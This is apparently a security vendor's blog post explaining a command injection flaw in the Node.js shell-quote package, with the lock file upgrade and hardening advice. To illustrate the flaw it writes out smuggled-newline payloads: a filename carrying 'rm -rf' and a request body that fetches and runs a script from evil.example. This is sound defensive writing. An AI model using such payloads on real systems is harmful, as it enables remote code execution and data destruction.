Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) in the `shell-quote` npm package versions prior to 1.8.4 allowed attackers to execute arbitrary code by injecting unescaped line terminators into shell arguments. The fix upgrades `shell-quote` from 1.8.2 to 1.9.0 and pins the dependency across `package.json`, `package-lock.json`, and `yarn.lock` to ensure no transitive dependency can pull in the vulnerable version.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the `shell-quote` npm package (versions < 1.8.4) for Node.js. The flaw occurs because shell-quote fails to escape line terminator characters (`\n`, `\r`) in shell arguments, allowing an attacker who controls input to break out of a quoted argument and inject arbitrary shell commands. The fix is to upgrade `shell-quote` to version 1.9.0 and pin it using both `overrides` and `resolutions` in `package.json` to prevent transitive dependencies from re-introducing the vulnerable version.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixUpgrade shell-quote to 1.9.0 and pin via package.json overrides/resolutions
riskArbitrary OS command execution by any party that can influence shell-quoted arguments
languageJavaScript / Node.js
root causeshell-quote 1.8.2 did not escape `\n` and `\r` characters, allowing argument breakout
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

The Vulnerability at a Glance

Field Detail
CVE CVE-2026-9277
Severity Critical
Package shell-quote (npm)
Affected versions < 1.8.4
Fixed version 1.9.0
CWE CWE-78 — OS Command Injection
Root cause Unescaped \n / \r line terminators in quoted shell arguments

Introduction

The package-lock.json file in this project locked shell-quote at version 1.8.2 — a version that silently passes raw newline and carriage-return characters through its quoting logic without escaping them. Any code path that calls shell-quote with user-influenced data and then passes the result to a shell (directly or through a tool that spawns a child process with shell: true) is therefore vulnerable to full OS command injection, regardless of how carefully the rest of the application sanitizes input.

Trivy's scanner flagged the locked version under rule CVE-2026-9277, and Orbis AppSec opened a pull request to upgrade the package and pin the safe version across all three lock files.


The Vulnerability Explained

What shell-quote is supposed to do

shell-quote is a popular Node.js utility that serializes an array of command arguments into a single shell-safe string. Developers use it to construct commands they then pass to child_process.exec(), execa, or similar APIs:

const quote = require('shell-quote').quote;
const filename = getUserInput(); // e.g. "report.pdf"
const cmd = `convert ${quote([filename])} output.png`;
exec(cmd);

The library's job is to ensure that whatever getUserInput() returns cannot break out of the argument boundary. In most cases it does this correctly — wrapping strings in single quotes and escaping embedded single quotes.

The specific flaw in 1.8.2

The problem is that shell-quote 1.8.2 does not treat \n (U+000A) or \r (U+000D) as characters that need escaping. A Unix shell treats a newline as a command separator, exactly like a semicolon. So if an attacker supplies:

report.pdf\nrm -rf /tmp/important

shell-quote 1.8.2 produces:

'report.pdf
rm -rf /tmp/important'

The shell sees the newline, ends the first command, and executes rm -rf /tmp/important as a second, fully independent command — completely outside any quoting context. The single quote that was supposed to protect the argument is still open, but the shell has already moved on.

The package-lock.json entry before the fix:

"node_modules/shell-quote": {
  "version": "1.8.2",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz",
  "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA=="
}

A concrete attack scenario

Suppose the application uses shell-quote to build a file-conversion command from a user-supplied filename (a common pattern in document-processing tools):

const { quote } = require('shell-quote');
const userFilename = req.body.filename; // attacker-controlled

const cmd = `pandoc ${quote([userFilename])} -o output.html`;
require('child_process').exec(cmd, callback);

An attacker sends:

POST /convert
Content-Type: application/json

{ "filename": "innocent.docx\ncurl https://evil.example/shell.sh | bash" }

With shell-quote 1.8.2, the resulting command string is:

pandoc 'innocent.docx
curl https://evil.example/shell.sh | bash' -o output.html

The shell executes both lines. The second line downloads and executes arbitrary code on the server. No further authentication or privilege escalation is needed — the process already runs with the web server's OS privileges.

Real-world impact for this application

The PR notes that the vulnerable code path "handles user-influenced input." Even if the exact reachability is marked "not confirmed" in the scanner report, the severity is rated Critical because:

  1. Exploitation requires only the ability to send an HTTP request containing a newline character — trivial for any authenticated (or unauthenticated) user.
  2. Successful exploitation grants arbitrary OS command execution in the context of the Node.js process.
  3. Downstream tools that depend on shell-quote (build tooling, linters, formatters) may also invoke it with data that originates from user-controlled sources, widening the attack surface beyond the application's own code.

The Fix

What changed and why

The fix has three parts, each serving a distinct purpose.

1. package-lock.json — upgrade the resolved version

 "node_modules/shell-quote": {
-  "version": "1.8.2",
-  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz",
-  "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==",
+  "version": "1.9.0",
+  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
+  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==",

This ensures npm ci and npm install resolve to the patched binary. The new integrity hash ties the installed package to the exact bytes of 1.9.0, preventing supply-chain substitution.

2. package.json — pin with overrides and resolutions

+  "resolutions": {
+    "shell-quote": "1.9.0"
+  },
+  "overrides": {
+    "shell-quote": "1.9.0"
+  }

This is the most important defensive addition. Without these fields, any transitive dependency that declares "shell-quote": "^1.7.3" or "^1.8.1" could pull in 1.8.2 again the next time the lock file is regenerated. overrides (npm 8.3+) and resolutions (Yarn) both force every nested dependency to resolve to 1.9.0, regardless of what version range it requests.

3. yarn.lock — update the Yarn resolution

-shell-quote@^1.7.3, shell-quote@^1.8.1:
-  version "1.8.2"
+  version "1.9.0"

Because the project supports both npm and Yarn workflows, the Yarn lock file must also be updated. Leaving it stale would mean Yarn-based CI pipelines or contributor environments continue installing the vulnerable version.

What version 1.9.0 actually fixes

In version 1.9.0, shell-quote converts \n and \r characters inside arguments to their $'\n' and $'\r' ANSI-C quoting equivalents before wrapping them in single quotes. This means the injected newline is now treated as a literal two-character sequence inside the argument, not as a shell command separator. The same attacker payload from earlier now produces:

pandoc $'innocent.docx\ncurl https://evil.example/shell.sh | bash' -o output.html

The shell sees a single argument containing a literal newline character and passes it to pandoc — no second command is executed.


Prevention & Best Practices

1. Prefer argument arrays over shell strings

The safest way to avoid shell injection entirely is to never construct a shell string at all:

// ❌ Vulnerable pattern — shell string with shell: true
const { exec } = require('child_process');
exec(`pandoc ${quote([userFilename])} -o output.html`);

// ✅ Safe pattern — argument array, no shell involved
const { execFile } = require('child_process');
execFile('pandoc', [userFilename, '-o', 'output.html'], callback);

execFile and child_process.spawn with an argument array bypass the shell entirely. There are no special characters to escape because the OS receives the arguments directly.

2. Pin transitive dependencies

Never assume that updating a direct dependency is sufficient. Use overrides (npm) and resolutions (Yarn) to prevent transitive packages from re-introducing vulnerable versions:

// package.json
{
  "overrides": { "shell-quote": ">=1.9.0" },
  "resolutions": { "shell-quote": ">=1.9.0" }
}

Using >=1.9.0 rather than an exact version allows future patch releases while blocking all known-vulnerable versions.

3. Integrate SCA scanning into CI

Add a Software Composition Analysis (SCA) step that fails the build on critical CVEs:

# Example GitHub Actions step
- name: Trivy vulnerability scan
  uses: aquasecurity/trivy-action@master
  with:
    scan-type: 'fs'
    exit-code: '1'
    severity: 'CRITICAL,HIGH'

This catches new CVEs in existing dependencies before they reach production.

4. Validate input before it reaches shell-quoting code

Even with a patched library, apply allowlist validation on filenames and other shell-adjacent inputs:

const SAFE_FILENAME = /^[\w\-. ]+$/;
if (!SAFE_FILENAME.test(userFilename)) {
  return res.status(400).json({ error: 'Invalid filename' });
}

Defence in depth means a future library regression does not immediately become a critical incident.

Relevant standards


Key Takeaways

  • Line terminators are shell meta-characters. \n and \r act as command separators in bash and sh. Any quoting library that does not escape them provides false security — arguments can still be broken out of, even when wrapped in single quotes.
  • shell-quote 1.8.2 is unsafe for user-controlled input. If your package-lock.json or yarn.lock resolves shell-quote to any version below 1.8.4, you are vulnerable regardless of how carefully your application code validates input elsewhere.
  • Lock file updates alone are not enough. Without overrides/resolutions in package.json, the next npm install or yarn invocation can regenerate the lock file and pull the vulnerable version back in through a transitive dependency.
  • execFile with an argument array is categorically safer than exec with a shell string. Refactoring away from shell string construction eliminates the entire class of shell injection, not just the \n/\r variant.
  • Trivy caught this before exploitation. Integrating SCA scanning in CI (as Trivy was used here) gives teams advance warning on known CVEs in their dependency tree, enabling proactive patching rather than incident response.

How Orbis AppSec Detected This

  • Source: User-influenced data (e.g., filenames, query parameters) passed to shell-quote's quote() function.
  • Sink: The quoted string subsequently passed to a shell-executing API (child_process.exec, execa, or similar tools that invoke a shell under the hood).
  • Missing control: shell-quote 1.8.2 did not escape \n and \r characters, so the quoted output could still contain shell command separators.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Upgraded shell-quote from 1.8.2 to 1.9.0 in package-lock.json and yarn.lock, and added overrides/resolutions to package.json to prevent transitive re-introduction of the vulnerable version.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a reminder that shell-quoting libraries carry a deceptively large security responsibility: they must handle every shell meta-character, not just the obvious ones like spaces and semicolons. The newline character — invisible in most log output and easy to smuggle through JSON bodies — was enough to break shell-quote 1.8.2's quoting entirely and enable arbitrary command execution.

The fix is straightforward: upgrade to 1.9.0, pin the version in package.json using both overrides and resolutions, and update all lock files. For new code, prefer execFile with argument arrays over shell strings to eliminate the attack surface altogether. And integrate SCA scanning in CI so the next CVE in a transitive dependency is caught before it ships.


References

Frequently Asked Questions

What is command injection via unescaped line terminators?

It is an attack where a newline or carriage-return character embedded in a shell argument terminates the current command and starts a new, attacker-controlled one — bypassing quoting that only guards against spaces and other common delimiters.

How do you prevent command injection in Node.js shell argument handling?

Use a well-maintained shell-quoting library (shell-quote ≥ 1.9.0), pin it with overrides/resolutions so transitive dependencies cannot downgrade it, and prefer spawning child processes with argument arrays (avoiding shell:true) whenever possible.

What CWE is command injection?

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is quoting shell arguments enough to prevent command injection?

Only if the quoting library correctly escapes all shell meta-characters, including line terminators (\n, \r). shell-quote 1.8.2 missed those characters, making its quoting incomplete and bypassable.

Can static analysis detect this type of command injection?

Yes. Tools like Trivy (which flagged this CVE), Semgrep, and Snyk can identify known-vulnerable versions of shell-quote in a dependency tree and alert teams before the code reaches production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #274

Related Articles

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `Config/QuickAdd/git-add-new-origin-branch.js`, where user-supplied branch names were interpolated directly into a shell command string passed to `child_process.exec()`. The fix replaces the shell-interpolated `exec()` call with `execFile()`, passing arguments as a discrete array and eliminating the shell entirely. This proactive hardening removes an exploit primitive that could have been chained with other weaknesses to achieve a

high

How Command Injection happens in PHP shell execution and how to fix it

A command injection vulnerability in `sitrecServer/windProxy.php` allowed user-controlled input to reach a shell command without proper sanitization, creating a remote code execution risk. The `$cycleHour` parameter was passed directly as a format integer (`%d`) into a `sprintf`-built shell command, bypassing the `escapeshellarg()` protection applied to all other arguments. The fix casts `$cycleHour` to an integer and wraps it with `escapeshellarg()`, closing the injection path entirely.

high

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

The `shell-quote` package (versions prior to 1.9.0) contained a critical command injection vulnerability where unescaped line terminators in shell arguments could be exploited to inject arbitrary commands. This vulnerability was discovered in the docs-site dependency tree and fixed by upgrading to version 1.9.0, which properly escapes line terminators to prevent attackers from breaking out of quoted arguments and executing malicious shell commands.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

critical

How Missing Rate Limiting happens in Express.js and how to fix it

Two public API endpoints in `server.js` — `/api/health` and `/api/contact` — were exposed without any rate limiting middleware, allowing attackers to exhaust server resources or spam an SMTP server with unlimited requests. The fix adds rate limiting to both endpoints, with stricter controls on the resource-intensive `/api/contact` route that triggers email sending operations. This change closes a directly exploitable denial-of-service vector in a production web service.